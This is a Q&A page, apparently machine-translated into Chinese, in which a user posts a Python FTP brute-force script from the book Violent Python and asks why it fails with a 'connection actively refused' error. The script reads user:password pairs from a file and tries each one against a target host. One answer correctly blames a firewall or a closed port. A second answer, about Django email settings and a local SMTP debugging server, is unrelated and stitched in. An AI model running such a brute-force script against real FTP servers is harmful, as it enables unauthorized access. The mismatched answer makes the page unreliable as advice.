我正在运行此代码:
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
ftp = ftplib.FTP(hostname)
for line in pF.readlines():
userName, passWord = line.split(':', 1)
passWord = passWord.strip('\r\n') # strip any of the two characters
print("[+] Trying: {}/{}".format(userName, passWord))
try:
ftp.login(userName, passWord)
except ftplib.error_perm:
continue
else:
print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord))
ftp.quit()
return userName, passWord
print('\n[-] Could not brute force FTP credentials.')
return None, None
host = '192.168.95.179'
passwdFile = 'C:/Users/Karrigan/Documents/Python Stuff/userpass.txt'
bruteLogin(host, passwdFile)
我收到一个错误:
[WinError 10061] No connection could be made because the target machine actively refused it
但是,在今天早上运行此代码的类似版本时,没有发生此错误,但这可能不相关。什么可能导致这个? (另外,IP是一个由Violent Python提供的示例)
通常,该错误消息意味着您被防火墙阻止,或者目标计算机没有侦听该端口。
所以,如果它早些时候工作,那么有人打开防火墙或者停止监听该端口的进程。
这是因为您尝试使用localhost作为邮件服务器发送电子邮件。在开发过程中,如果您没有设置邮件服务器,并且想要使用本地计算机伪造发送电子邮件,那么您必须伪造它。
换一种说法:
看起来您正在尝试发送邮件(send_mail())并且您的settings.py中的邮件设置不正确。
出于调试目的,您可以使用以下命令设置本地smtp服务器:
python -m smtpd -n -c DebuggingServer localhost:1025
并相应地调整您的邮件设置:
EMAIL_HOST = 'localhost'
EMAIL_PORT = 1025